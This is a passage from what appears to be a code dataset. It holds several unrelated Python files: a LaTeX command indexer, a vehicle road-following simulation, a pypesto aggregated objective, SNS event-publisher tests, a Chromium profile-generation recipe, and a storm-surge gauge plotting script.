_build_testcode_header(file)\n code += '\\\\makeatletter\\n'\n code += '\\\\begin{document}\\n'\n for candidate in candidates:\n code += f'''\n \\\\@ifundefined{{{candidate}}}{{ }}\n {{\n \\\\@ifundefined{{end{candidate}}}\n {{\n \\\\wlog{{cmd:{candidate}}}\n }}\n {{\n \\\\wlog{{env:{candidate}}}\n }}\n }}'''\n code += '\\\\end{document}'\n\n result = tex.compile(code, fmt=tex.Format.from_file(file))\n lines = result.read_log().splitlines()\n\n cmds = [x.split(':')[1] for x in lines if x.startswith('cmd:')]\n envs = [x.split(':')[1] for x in lines if x.startswith('env:')]\n return cmds, envs\n\n\ndef _build_testcode_header(file):\n code = ''\n if file.suffix == '.cls':\n code += f'\\\\documentclass{{{file.stem}}}\\n'\n else:\n code += '\\\\documentclass{article}\\n'\n code += f'\\\\usepackage{{{file.stem}}}\\n'\n return code\n\n\ndef analyze(components_by_name, file):\n if file.name not in components_by_name:\n for component in LatexDependency(file).load_components(components_by_name):\n dependency = component[0]\n loaded_refs = [components_by_name[ref.name]\n for ref in dependency.references() if ref.name in components_by_name]\n try:\n component = LatexComponent(component, loaded_refs)\n for name in component.file_names:\n components_by_name[name] = component\n except TimeoutExpired:\n logging.warn(f'Could not analyze {file}.')\n\n\ndef include_appendix(components_by_name):\n for src_component in APPENDIX.components:\n dst_component = components_by_name[src_component.name]\n dst_component.commands.extend(src_component.commands)\n dst_component.commands = list(dict.fromkeys(dst_component.commands))\n dst_component.environments.extend(src_component.environments)\n dst_component.environments = list(\n dict.fromkeys(dst_component.environments))\n pass\n\n\ndef generate_database():\n components_by_name = {}\n files = list([f for f in tex.FILE_RESOLVER.files_by_name.values()\n if f.suffix in COMPONENT_EXTS])\n\n with ThreadPoolExecutor(multiprocessing.cpu_count()) as executor:\n task = with_progress('Indexing packages', len(\n files), partial(analyze, components_by_name))\n executor.map(task, files)\n\n include_appendix(components_by_name)\n return components_by_name.values()\n","sub_path":"latex-completion-data/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":5665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106874836","text":"#\r\nimport random as rm\r\nimport numpy as np\r\nimport math as m\r\nfrom shapely.geometry import Point\r\nfrom shapely.geometry.polygon import Polygon\r\nimport matplotlib.pyplot as plt\r\nimport json\r\nfrom swat_gen.road_gen import RoadGen\r\nfrom scipy.interpolate import splprep, splev, interp1d, splrep\r\nfrom shapely.geometry import LineString, Point, GeometryCollection\r\nfrom scipy.spatial import distance\r\nfrom numpy.ma import arange\r\nimport timeit\r\nimport time\r\n\r\nclass Car:\r\n \"\"\"Class that conducts transformations to vectors automatically,\r\n using the commads \"go straight\", \"turn left\", \"turn right\".\r\n As a result it produces a set of points corresponding to a road\r\n \"\"\"\r\n\r\n def __init__(self, speed, steer_ang, map_size):\r\n self.speed = speed\r\n self.map_size = map_size\r\n self.str_ang = steer_ang\r\n\r\n\r\n def interpolate_road(self, road):\r\n #road.sort()\r\n #print(road)\r\n test_road = LineString([(t[0], t[1]) for t in road])\r\n\r\n length = test_road.length\r\n\r\n #print(\"Length\", length)\r\n\r\n old_x_vals = [t[0] for t in road]\r\n old_y_vals = [t[1] for t in road]\r\n\r\n if len(old_x_vals) == 2:\r\n # With two points the only option is a straight segment\r\n k = 1\r\n elif len(old_x_vals) == 3:\r\n # With three points we use an arc, using linear interpolation will result in invalid road tests\r\n k = 2\r\n else:\r\n # Otheriwse, use cubic splines\r\n k = 3\r\n #print(old_x_vals)\r\n f2, u = splprep([old_x_vals, old_y_vals], s=0, k=k)\r\n #print(u)\r\n\r\n\r\n step_size = 1 / (length) * 10\r\n xnew = arange(0, 1 + step_size, step_size) \r\n\r\n x2, y2 = splev(xnew, f2)\r\n\r\n #self.road_x = old_x_vals\r\n #self.road_y = old_y_vals\r\n #print(x2)\r\n\r\n #point = np.array([125, 125])\r\n\r\n #p = Point(125, 125)\r\n\r\n nodes = list(zip(x2,y2))\r\n\r\n #self.image_road(x2, y2, \"vehicle2.png\")\r\n\r\n\r\n #road = LineString([(t[0], t[1]) for t in nodes])\r\n #r1 = p.distance(road)\r\n\r\n return nodes\r\n\r\n \r\n #closest_index = distance.cdist([point], nodes).argmin()\r\n #print(nodes[closest_index])\r\n #r2 = np.linalg.norm(point - nodes[closest_index])\r\n def image_road(self, x, y, name):\r\n\r\n fig, ax = plt.subplots(figsize=(12, 12))\r\n #, nodes[closest_index][0], nodes[closest_index][1], 'go'\r\n plt.plot( x, y, 'bo')\r\n\r\n top = self.map_size\r\n bottom = 0\r\n ax.set_ylim(bottom, top)\r\n \r\n ax.set_xlim(bottom, top)\r\n\r\n fig.savefig(\".\\\\\" + name)\r\n plt.close(fig)\r\n\r\n def image_car_path(self, name, fitness):\r\n\r\n fig, ax = plt.subplots(figsize=(12, 12))\r\n #, nodes[closest_index][0], nodes[closest_index][1], 'go'\r\n ax.plot( self.tot_x, self.tot_y, 'bo', label=\"Car path\")\r\n\r\n ax.plot(self.road_x, self.road_y, 'yo--', label=\"Road\")\r\n\r\n top = self.map_size\r\n bottom = 0\r\n\r\n ax.set_title( \"Test case fitenss \" + fitness , fontsize=17)\r\n\r\n ax.set_ylim(bottom, top)\r\n \r\n ax.set_xlim(bottom, top)\r\n\r\n #fig.savefig(\".\\\\images2\\\\\" + name)\r\n fig.savefig(name + \"_\" + fitness + \".jpg\")\r\n ax.legend()\r\n plt.close(fig)\r\n\r\n\r\n\r\n\r\n def get_distance(self, road, x, y):\r\n p = Point(x, y)\r\n return p.distance(road)\r\n\r\n\r\n def go_straight(self):\r\n self.x = self.speed*np.cos(m.radians(self.angle)) + self.x\r\n self.y = self.speed*np.sin(m.radians(self.angle)) + self.y\r\n self.tot_x.append(self.x)\r\n self.tot_y.append(self.y)\r\n return\r\n\r\n def turn_right(self):\r\n\r\n #return\r\n self.angle = -self.str_ang + self.angle\r\n self.x = self.speed*np.cos(m.radians(self.angle))/3 + self.x\r\n self.y = self.speed*np.sin(m.radians(self.angle))/3 + self.y\r\n self.tot_x.append(self.x)\r\n self.tot_y.append(self.y)\r\n return\r\n\r\n def turn_left(self):\r\n\r\n #return\r\n self.angle = self.str_ang + self.angle\r\n self.x = self.speed*np.cos(m.radians(self.angle))/3 + self.x\r\n self.y = self.speed*np.sin(m.radians(self.angle))/3 + self.y\r\n\r\n self.tot_x.append(self.x)\r\n self.tot_y.append(self.y)\r\n \r\n return\r\n\r\n '''\r\n def get_angle(self, init_pos):\r\n \"\"\"returns the sector of initial position\"\"\"\r\n\r\n return -90\r\n\r\n if round(init_pos[1], 1) == 10:\r\n return 90\r\n elif round(init_pos[0], 1) == 10:\r\n return 0\r\n elif round(init_pos[1], 1) == self.map_size - 10:\r\n return -90\r\n elif round(init_pos[0], 1) == self.map_size - 10:\r\n return 180\r\n else:\r\n return 0\r\n '''\r\n\r\n def get_angle(self, node_a, node_b):\r\n vector = np.array(node_b) - np.array(node_a)\r\n #print(\"vec\", vector)\r\n cos = vector[0]/(np.linalg.norm(vector))\r\n\r\n angle = m.degrees(m.acos(cos))\r\n\r\n #print(\"a\", node_a)\r\n #print(\"b\", node_b)\r\n\r\n\r\n if node_a[1] > node_b[1]:\r\n #print(\"angle\", -angle)\r\n return -angle\r\n else:\r\n #print(\"angle\", angle)\r\n return angle\r\n\r\n\r\n\r\n '''\r\n if in_state == \"straight\":\r\n return 90\r\n elif in_state == \"right\":\r\n return 90 - in_value\r\n else:\r\n return 90 + in_value\r\n '''\r\n\r\n\r\n\r\n\r\n\r\n def execute_road(self, nodes):\r\n\r\n self.x = 0\r\n self.y = 0 \r\n\r\n old_x_vals = [t[0] for t in nodes]\r\n old_y_vals = [t[1] for t in nodes]\r\n\r\n self.road_x = old_x_vals\r\n self.road_y = old_y_vals\r\n\r\n self.angle = 0 \r\n self.tot_x = []\r\n self.tot_y = []\r\n self.tot_dist = []\r\n self.final_dist = []\r\n\r\n\r\n road = LineString([(t[0], t[1]) for t in nodes])\r\n if road.is_simple == False or is_too_sharp(_interpolate(nodes)) == True:\r\n fitness = 0\r\n else:\r\n init_pos = nodes[0]\r\n #print(\"Init pos\", init_pos)\r\n self.x = init_pos[0]\r\n self.y = init_pos[1]\r\n\r\n #self.angle = self.get_angle(init_pos)\r\n\r\n self.angle = self.get_angle(nodes[0], nodes[1])\r\n\r\n #print(\"POS x\", round(init_pos[0],1), \"POS Y\", round(init_pos[1], 1))\r\n #print(\"ANGLE\", self.angle)\r\n #self.angle = self.get_angle(init_pos)\r\n\r\n self.tot_x.append(self.x)\r\n self.tot_y.append(self.y)\r\n\r\n length = np.linalg.norm(np.array([nodes[0][0], nodes[0][1]]) - np.array([nodes[-1][0], nodes[-1][1]]))\r\n\r\n \r\n i = 0\r\n current_length = 0\r\n norm = np.linalg.norm(np.array([self.x, self.y]) - np.array([init_pos[0], init_pos[1]])) \r\n #while ((np.linalg.norm(np.array([self.x, self.y]) - np.array([init_pos[0], init_pos[1]]) )) < length):\r\n while (current_length < road.length) and i < 1000:\r\n #while ((current_length < road.length) or (norm < length)) and (i < 1000):\r\n #while i < 10000:\r\n distance = self.get_distance(road, self.x, self.y)\r\n self.tot_dist.append(distance)\r\n if distance > 2:\r\n self.final_dist.append(distance)\r\n #print(self.x)\r\n #print(self.y)\r\n if distance <= 1:\r\n self.go_straight()\r\n else:\r\n angle = -self.str_ang + self.angle\r\n x = self.speed*np.cos(m.radians(angle)) + self.x\r\n y = self.speed*np.sin(m.radians(angle)) + self.y\r\n\r\n distance_right = self.get_distance(road, x, y)\r\n\r\n angle = self.str_ang + self.angle\r\n x = self.speed*np.cos(m.radians(angle)) + self.x\r\n y = self.speed*np.sin(m.radians(angle)) + self.y\r\n\r\n distance_left = self.get_distance(road, x, y)\r\n\r\n\r\n #print(\"Distance2\", distance2)\r\n if distance_right < distance_left:\r\n self.turn_right()\r\n else:\r\n self.turn_left()\r\n\r\n current_road = LineString([(t[0], t[1]) for t in zip(self.tot_x, self.tot_y)])\r\n current_length = current_road.length\r\n norm = np.linalg.norm(np.array([self.x, self.y]) - np.array([init_pos[0], init_pos[1]])) \r\n \r\n i += 1\r\n #print(\"i\", i)\r\n \r\n #fitness = sum(self.tot_dist)/len(self.tot_dist)*(-1)\r\n #fitness = max(self.tot_dist)*(-1)\r\n #fitness = len(self.final_dist)*(-1)\r\n\r\n if current_road.is_simple:\r\n fitness = max(self.tot_dist)*(-1)\r\n else:\r\n fitness = 0\r\n #print(\"Intersecting, \", max(self.tot_dist)*(-1))\r\n\r\n\r\n\r\n\r\n return fitness, [self.tot_x, self.tot_y]\r\n\r\n\r\n\r\n # def get_distance(self, road_point):\r\n\r\n\r\n\r\ndef find_circle(p1, p2, p3):\r\n \"\"\"\r\n Returns the center and radius of the circle passing the given 3 points.\r\n In case the 3 points form a line, returns (None, infinity).\r\n \"\"\"\r\n temp = p2[0] * p2[0] + p2[1] * p2[1]\r\n bc = (p1[0] * p1[0] + p1[1] * p1[1] - temp) / 2\r\n cd = (temp - p3[0] * p3[0] - p3[1] * p3[1]) / 2\r\n det = (p1[0] - p2[0]) * (p2[1] - p3[1]) - (p2[0] - p3[0]) * (p1[1] - p2[1])\r\n\r\n if abs(det) < 1.0e-6:\r\n return np.inf\r\n\r\n # Center of circle\r\n cx = (bc*(p2[1] - p3[1]) - cd*(p1[1] - p2[1])) / det\r\n cy = ((p1[0] - p2[0]) * cd - (p2[0] - p3[0]) * bc) / det\r\n\r\n radius = np.sqrt((cx - p1[0])**2 + (cy - p1[1])**2)\r\n #print(radius)\r\n return radius\r\n\r\n\r\ndef min_radius(x, w=5):\r\n mr = np.inf\r\n nodes = x\r\n for i in range(len(nodes) - w):\r\n p1 = nodes[i]\r\n p2 = nodes[i + int((w-1)/2)]\r\n p3 = nodes[i + (w-1)]\r\n radius = find_circle(p1, p2, p3)\r\n if radius < mr:\r\n mr = radius\r\n if mr == np.inf:\r\n mr = 0\r\n\r\n return mr * 3.280839895#, mincurv\r\n\r\n\r\ndef _interpolate(the_test):\r\n \"\"\"\r\n Interpolate the road points using cubic splines and ensure we handle 4F tuples for compatibility\r\n \"\"\"\r\n rounding_precision = 3\r\n interpolation_distance = 1\r\n smoothness = 0\r\n min_num_nodes = 20\r\n\r\n old_x_vals = [t[0] for t in the_test]\r\n old_y_vals = [t[1] for t in the_test]\r\n\r\n # This is an approximation based on whatever input is given\r\n test_road_lenght = LineString([(t[0], t[1]) for t in the_test]).length\r\n num_nodes = int(test_road_lenght / interpolation_distance)\r\n if num_nodes < min_num_nodes:\r\n num_nodes = min_num_nodes\r\n\r\n assert len(old_x_vals) >= 2, \"You need at leas two road points to define a road\"\r\n assert len(old_y_vals) >= 2, \"You need at leas two road points to define a road\"\r\n\r\n if len(old_x_vals) == 2:\r\n # With two points the only option is a straight segment\r\n k = 1\r\n elif len(old_x_vals) == 3:\r\n # With three points we use an arc, using linear interpolation will result in invalid road tests\r\n k = 2\r\n else:\r\n # Otheriwse, use cubic splines\r\n k = 3\r\n\r\n pos_tck, pos_u = splprep([old_x_vals, old_y_vals], s= smoothness, k=k)\r\n\r\n step_size = 1 / num_nodes\r\n unew = arange(0, 1 + step_size, step_size)\r\n\r\n new_x_vals, new_y_vals = splev(unew, pos_tck)\r\n\r\n # Return the 4-tuple with default z and defatul road width\r\n return list(zip([round(v, rounding_precision) for v in new_x_vals],\r\n [round(v, rounding_precision) for v in new_y_vals],\r\n [-28.0 for v in new_x_vals],\r\n [8.0 for v in new_x_vals]))\r\n\r\n\r\ndef is_too_sharp(the_test, TSHD_RADIUS=47):\r\n if TSHD_RADIUS > min_radius(the_test) > 0.0:\r\n check = True\r\n #print(\"TOO SHARP\")\r\n else:\r\n check = False\r\n #print(check)\r\n return check\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n car = Car(3, 10, 250)\r\n with open(\"points2.json\") as file:\r\n points = json.load(file)\r\n\r\n for tc in points:\r\n case = tc\r\n road = points[case]\r\n #road = car.interpolate_road(points[case])\r\n #car.execute_road(points[case], case)\r\n car.execute_road(car.interpolate_road(road), case)\r\n #road.road_points\r\n \r\n\r\n\r\n","sub_path":"RQ3/Vehicle_case_study/swat_gen_mo/vehicle.py","file_name":"vehicle.py","file_ext":"py","file_size_in_byte":12458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"257125032","text":"import numpy as np\nfrom copy import deepcopy\nfrom typing import List\nfrom .objective import Objective\n\nfrom .constants import RDATAS\n\n\nclass AggregatedObjective(Objective):\n \"\"\"\n This class aggregates multiple objectives into one objective.\n \"\"\"\n\n def __init__(\n self,\n objectives: List[Objective],\n x_names: List[str] = None):\n \"\"\"\n Constructor.\n\n Parameters\n ----------\n objectives: list\n List of pypesto.objetive instances\n \"\"\"\n # input typechecks\n if not isinstance(objectives, list):\n raise TypeError(f'Objectives must be a list, '\n f'was {type(objectives)}.')\n\n if not all(\n isinstance(objective, Objective)\n for objective in objectives\n ):\n raise TypeError('Objectives must only contain elements of type'\n 'pypesto.Objective')\n\n if not len(objectives):\n raise ValueError('Length of objectives must be at least one')\n\n self.objectives = objectives\n\n # assemble a dict that we can pass as kwargs to the\n # pypesto.Objective constructor\n init_kwargs = {\n 'x_names': x_names\n }\n\n # check if all objectives consistently accept sensi orders in fun/res\n # and adopt the same behaviour in aggregate\n for attr in ['fun_accept_sensi_orders', 'res_accept_sensi_orders']:\n _check_boolean_value_consistent(objectives, attr)\n init_kwargs[attr] = getattr(objectives[0], attr)\n\n # check if all objectives consistently accept sensi orders in fun/res\n # and adopt the same behaviour in aggregate\n for attr in [\n 'fun', 'grad', 'hess', 'hessp', 'res', 'sres'\n ]:\n if any(\n getattr(objective, attr) is None\n for objective in objectives\n ):\n _check_none_value_consistent(objectives, attr)\n init_kwargs[attr] = None\n elif all(\n isinstance(getattr(objective, attr), bool)\n for objective in objectives\n ):\n _check_boolean_value_consistent(objectives, attr)\n init_kwargs[attr] = getattr(objectives[0], attr)\n elif all(\n callable(getattr(objective, attr))\n for objective in objectives\n ):\n aggregate_fun = f'aggregate_{attr}'\n if (\n attr == 'fun'\n and init_kwargs['fun_accept_sensi_orders']\n ) or (\n attr == 'res'\n and init_kwargs['res_accept_sensi_orders']\n ):\n aggregate_fun += '_sensi_orders'\n\n init_kwargs[attr] = getattr(self, aggregate_fun)\n else:\n raise ValueError(f'{attr} has incompatible types across '\n f'instances!')\n\n super().__init__(**init_kwargs)\n\n def __deepcopy__(self, memodict=None):\n other = AggregatedObjective(\n objectives=[deepcopy(objective) for objective in self.objectives],\n x_names=deepcopy(self.x_names),\n )\n return other\n\n def aggregate_fun_sensi_orders(self, x, sensi_orders):\n rvals = [\n objective.fun(x, sensi_orders)\n for objective in self.objectives\n ]\n\n # sum over fval/grad/hess\n result = {\n key: sum(rval[key] for rval in rvals)\n for key in ['fval', 'grad', 'hess']\n if key in rvals[0]\n }\n\n # extract rdatas and flatten\n result[RDATAS] = []\n for rval in rvals:\n if RDATAS in rval:\n result[RDATAS].extend(rval[RDATAS])\n\n return result\n\n def aggregate_res_sensi_orders(self, x, sensi_orders):\n result = dict()\n\n # initialize res and sres\n rval0 = self.objectives[0].res(x, sensi_orders)\n if 'res' in rval0:\n res = np.asarray(rval0['res'])\n else:\n res = None\n\n if 'sres' in rval0:\n sres = np.asarray(rval0['sres'])\n else:\n sres = None\n\n if RDATAS in rval0:\n result[RDATAS] = rval0[RDATAS]\n else:\n result[RDATAS] = []\n\n # skip iobj=0 after initialization, stack matrices\n for iobj in range(1, len(self.objectives)):\n rval = self.objectives[iobj].res(x, sensi_orders)\n if res is not None:\n res = np.hstack([res, np.asarray(rval['res'])])\n if sres is not None:\n sres = np.vstack([sres, np.asarray(rval['sres'])])\n if RDATAS in rval:\n result[RDATAS].extend(rval[RDATAS])\n\n # transform results to dict\n\n if res is not None:\n result['res'] = res\n if sres is not None:\n result['sres'] = sres\n\n return result\n\n def aggregate_res(self, x):\n if self.sres is True: # integrated mode\n res = self.objectives[0].res(x)[0]\n else:\n res = self.objectives[0].res(x)\n for iobj in range(1, len(self.objectives)):\n if self.sres is True: # integrated mode\n res_stack = np.asarray(self.objectives[iobj].res(x))[0]\n else:\n res_stack = np.asarray(self.objectives[iobj].res(x))\n res = np.hstack([res, res_stack])\n\n return res\n\n def aggregate_sres(self, x):\n sres = self.objectives[0].sres(x)\n for iobj in range(1, len(self.objectives)):\n sres = np.vstack([sres, np.asarray(self.objectives[iobj].sres(x))])\n\n return sres\n\n def aggregate_fun(self, x):\n if self.grad is True: # integrated mode\n return tuple(\n sum(objective.fun(x)[idx] for objective in self.objectives)\n for idx in range(2+self.hess)\n )\n else:\n return sum(objective.fun(x) for objective in self.objectives)\n\n def aggregate_grad(self, x):\n return sum(objective.grad(x) for objective in self.objectives)\n\n def aggregate_hess(self, x):\n return sum(objective.hess(x) for objective in self.objectives)\n\n def aggregate_hessp(self, x):\n return sum(objective.hessp(x) for objective in self.objectives)\n\n def reset_steadystate_guesses(self):\n \"\"\"\n Propagates reset_steadystate_guesses() to child objectives if available\n (currently only applies for amici_objective)\n \"\"\"\n for objective in self.objectives:\n if hasattr(objective, 'reset_steadystate_guesses'):\n objective.reset_steadystate_guesses()\n\n\ndef _check_boolean_value_consistent(objectives, attr):\n values = set(\n getattr(objective, attr)\n for objective in objectives\n )\n if len(values) > 1:\n raise ValueError(f'{attr} of all objectives must have a consistent '\n f'value!')\n\n\ndef _check_none_value_consistent(objectives, attr):\n is_none = (\n getattr(objective, attr) is None\n for objective in objectives\n )\n if not all(is_none):\n raise ValueError(f'{attr} of all objectives must have a consistent '\n f'value!')\n","sub_path":"pypesto/objective/aggregated.py","file_name":"aggregated.py","file_ext":"py","file_size_in_byte":7373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"393293475","text":"\"\"\"Tests for Event Publisher module\"\"\"\nimport pytest\nfrom opentracing.propagation import Format\n\nfrom zeel_publisher.event_publisher import CarrierError\nfrom zeel_publisher.event_publisher import EventPublisher\nfrom zeel_publisher.event_publisher import validate_carrier\n\n\n@pytest.fixture()\ndef topic_arn(sns_client):\n \"\"\"\n Create a new test SNS topic. Delete the created test topic once tests have\n finished executing.\n \"\"\"\n\n topic_name = 'test-publisher-topic'\n response = sns_client.create_topic(Name=topic_name)\n yield response.get('TopicArn')\n sns_client.delete_topic(TopicArn=response.get('TopicArn'))\n\n\n@pytest.fixture()\ndef event_publisher(config, topic_arn):\n \"\"\"\n Setup a publisher instance for testing.\n \"\"\"\n\n publisher = EventPublisher(\n topic_arn=topic_arn, sns_client_params=config.SNS_CLIENT_KWARGS)\n return publisher\n\n\ndef test_validate(jaeger_tracer):\n \"\"\"\n Test that a valid carrier is designated as valid.\n \"\"\"\n\n span = jaeger_tracer.start_span('test_span')\n carrier = {}\n jaeger_tracer.inject(\n span_context=span, format=Format.TEXT_MAP, carrier=carrier)\n actual = validate_carrier(carrier)\n assert actual is True\n\n\ndef test_validate_invalid_carrier():\n \"\"\"\n Test that an invalid carrier raises a CarrierError exception.\n \"\"\"\n\n carrier = {}\n actual = validate_carrier(carrier)\n assert actual is False\n\n\ndef test_publish_invalid_carrier(event_publisher):\n \"\"\"\n Test that a message with an invalid carrier object raises a CarrierError\n exception.\n \"\"\"\n\n with pytest.raises(CarrierError):\n carrier = {}\n actual = event_publisher.publish(\n carrier=carrier,\n uri='/orders',\n operation='CREATE',\n before={},\n after={'order_id': '456'})\n assert actual is None\n\n\ndef test_publish(jaeger_tracer, event_publisher):\n \"\"\"\n Test publishing a message and getting a response with a valid MessageId key\n value.\n \"\"\"\n\n span = jaeger_tracer.start_span('create_order')\n span.set_tag('order_id', '456')\n carrier = {}\n jaeger_tracer.inject(\n span_context=span, format=Format.TEXT_MAP, carrier=carrier)\n actual = event_publisher.publish(\n carrier=carrier,\n uri='/orders',\n operation='CREATE',\n before={},\n after={\n 'order_id': '456',\n 'items': []\n })\n assert actual.get('MessageId')\n","sub_path":"tests/test_event_publisher.py","file_name":"test_event_publisher.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"552993239","text":"# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nDEPS = [\n 'archive',\n 'depot_tools/bot_update',\n 'chromium',\n 'file',\n 'depot_tools/gclient',\n 'gsutil',\n 'recipe_engine/path',\n 'recipe_engine/platform',\n 'recipe_engine/properties',\n 'recipe_engine/python',\n 'recipe_engine/step',\n 'zip',\n]\n\n\ndef _PlatformSpecificExecutable(api):\n \"\"\"The OS-specific path to the executable.\"\"\"\n if api.platform.is_mac:\n return ['Google Chrome.app', 'Contents', 'MacOS', 'Google Chrome']\n elif api.platform.is_linux:\n return ['chrome']\n elif api.platform.is_win:\n return ['chrome.exe']\n\n\ndef _CloudStoragePath(api):\n \"\"\"The path in cloud storage to store the zipped large profile.\"\"\"\n return 'large_profile/' + api.platform.name\n\n\ndef _DownloadAndExtractBinary(api):\n \"\"\"Downloads the binary from the revision passed to the recipe.\"\"\"\n build_archive_url = api.properties['parent_build_archive_url']\n api.archive.download_and_unzip_build(\n step_name='Download and Extract Binary',\n target='Release',\n build_url=None, # This is a required parameter, but has no effect.\n build_archive_url=build_archive_url)\n\n\ndef _GenerateProfile(api, output_directory):\n \"\"\"Generates a large profile.\n\n Args:\n output_directory: A string representation of the directory in which a\n profile should be generated.\n \"\"\"\n executable_suffix = _PlatformSpecificExecutable(api)\n browser_executable = api.chromium.output_dir.join(*executable_suffix)\n script_path = api.path['checkout'].join('tools', 'perf', 'generate_profile')\n\n args = [\n '--browser=exact',\n '--browser-executable=' + str(browser_executable),\n '--profile-type-to-generate=large_profile',\n '--output-dir=' + output_directory,\n ]\n\n api.python('Generate Large Profile', script_path, args=args)\n\n\ndef RunSteps(api):\n api.chromium.set_config('chromium')\n api.gclient.set_config('chromium')\n api.bot_update.ensure_checkout(force=True)\n\n try:\n profile_directory = api.path.mkdtemp('large-profile')\n zipped_profile_directory = api.path.mkdtemp('zipped-profile')\n _DownloadAndExtractBinary(api)\n _GenerateProfile(api, str(profile_directory))\n\n # Zip the profile.\n zipped_profile_path = zipped_profile_directory.join('large_profile.zip')\n api.zip.directory(\n 'Zip Large Profile', profile_directory, zipped_profile_path)\n\n # Upload the result to cloud storage.\n bucket = 'chrome-partner-telemetry'\n cloud_file = _CloudStoragePath(api)\n api.gsutil.upload(str(zipped_profile_path), bucket, cloud_file)\n finally:\n api.file.rmtree('Remove profile directory.', profile_directory)\n api.file.rmtree('Remove zipped profile directory.',\n zipped_profile_directory)\n\n\ndef GenTests(api):\n for platform in ('linux', 'win', 'mac'):\n archive_url = 'gs://chrome-perf/%s Builder/testbuildurl' % platform.title()\n yield (\n api.test(platform) +\n api.properties.generic(\n mastername='master.chromium.perf.fyi',\n parent_build_archive_url=archive_url,\n parent_got_revision='5d6dd8eaee742daf7f298f533fb0827dc4a693fd') +\n api.platform.name(platform)\n )\n","sub_path":"scripts/slave/recipes/perf/telemetry_generate_large_profile.py","file_name":"telemetry_generate_large_profile.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"157167486","text":"#!/usr/bin/env\n\nfrom clawpack.pyclaw.gauges import GaugeSolution\nimport datetime \nimport numpy\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt \nimport os \nimport scipy.io as sio\n\n\ngeo_dir = 'gulf'\nmodels = ['holland80', 'holland10', 'SLOSH', 'DeMaria', 'rankine',\n'modified-rankine', 'CLE']\n# models = ['H80']\n\ntitle_font = {'fontname':'Arial', 'size':'10', 'color':'black',\n'weight':'normal',\n 'verticalalignment':'bottom'} # Bottom vertical alignment for more space\naxis_font = {'fontname':'Arial', 'size':'10', 'weight':'normal'}\n\ndef seconds2days(seconds):\n r\"\"\"\n Convert seconds to days. \n \"\"\"\n days = seconds/(3600.0*24.0)\n return days \n\n\ndef gather_file_paths(storm): \n r\"\"\"\n Gather the paths needed to gather data. \n \"\"\"\n paths = [] \n for w in models: \n storm_run = '%s-%s' %(storm,w)\n dir_path = os.path.join(os.getcwd(), 'storm-surge', 'ike-amr2')\n# dir_path = '/Users/hudaqureshi/clawpack/geoclaw/examples/storm-surge'\n file_path = os.path.join(dir_path,'%s_output' %w)\n paths.append(file_path)\n\n return paths \n\n# print(gather_file_paths('ike'))\n\ndef gather_data(storm): \n r\"\"\"\n Get data from file paths.\n \"\"\"\n gauges = {} \n \n paths = gather_file_paths(storm)\n for i in range(0,len(models)): \n gauges[models[i]] = [] \n for x in range(0,4): \n gauges[models[i]].append(GaugeSolution(gauge_id=x+1, path = paths[i]))\n \n return gauges \n \n \ndef plot_data(storm):\n r\"\"\"\n Plot the data for the specified storm. \n \"\"\"\n gauges = gather_data(storm)\n# storm = storm.upper()\n \n for x in range(0,4): \n fig = plt.figure()\n fig.set_size_inches(8, 4)\n axes = fig.add_subplot(1, 1, 1)\n for w in models: \n line_label = \"%s\" %w\n days = seconds2days(gauges[w][x].t)\n #days = days - days[0]\n axes.plot(days, gauges[w][x].q[3],'--',label=line_label)\n #axes.plot(days, numpy.zeros(gauges[w][x].q[3].shape[0]), '-k', label=\"MSL\")\n \n #axes.set_title(\"%s Gauge %i\" %(storm,x+1),**title_font)\n #axes.set_xlabel(\"Days from First Tracking\",**axis_font)\n #axes.set_ylabel(\"Height from MSL (m)\",**axis_font)\n axes.set_title(\"%s Gauge %i\" %(storm,x+1))\n axes.set_xlabel(\"Days from First Tracking\")\n axes.set_ylabel(\"Height from MSL (m)\")\n \n \n figure_title = \"%s_Gauge_%i_SurgeHeight.pdf\" %(storm,x+1)\n# gauge_path = os.path.join(os.getcwd(), 'ike-amr2') %(figure_title)\n print()\n #plt.xticks(fontsize=12)\n #plt.yticks(fontsize=12)\n plt.xticks()\n plt.yticks()\n plt.xlim(days[0],days[-1])\n #plt.legend(prop={'size': 12})\n plt.legend()\n \n fig.savefig(os.path.join(os.getcwd(), 'pdf', figure_title), format='pdf')\n plt.show()\n \n#plot_data('ike')\n\nimport sys\nstations = 'WXYZ'\n\nstorm = 'ike'\ndepth = [-12.8, -9.3, -8.45, -9.2]\n# line_style = ['--', '-.',':', (4,6)]\nlstyle = ['-', '--', '-.', ':', '-', '--', '-.', ':']\n# lstyle = ['-o','--', '-.',':', '-o', 's', 'p', '*']\n\n\ngauges_time = {}\ngauges_mean_water = {}\nadjusted_gauges_time = {}\nadjusted_gauges_mean_water = {}\ngauge_days = {}\ngauge_data = {} \n\nlandfall = datetime.datetime(2008, 9, 13, 7) - \\\n datetime.datetime(2008, 1, 1, 0)\nlandfall = landfall.days + seconds2days(landfall.seconds) \n\nN = len(stations)\nfor j in range(0,N): \n\n mystr = os.path.join(os.getcwd(), 'observed-gauges', 'result_%s.mat'\n%stations[j])\n mat = sio.loadmat(mystr)\n gauges_time[j] = mat['yd_processed']\n gauges_mean_water[j] = mat['mean_water'].transpose()\n adjusted_gauges_time[j] = [] \n adjusted_gauges_mean_water[j] = [] \n for m in range(0,len(gauges_mean_water[j][0])): \n adjusted_gauges_time[j].append(gauges_time[j][0][m])\n adjusted_gauges_mean_water[j].append(gauges_mean_water[j][0][m])\n gauge_days[j] = numpy.array(adjusted_gauges_time[j])\n gauge_data[j] = numpy.array(adjusted_gauges_mean_water[j])\n gauge_days[j] = gauge_days[j] - landfall - 1\n gauge_data[j] = gauge_data[j] + depth[j] \n\n\n \nn_rows = 2 \nn_cols = 2 \nfig, ax = plt.subplots(n_rows, 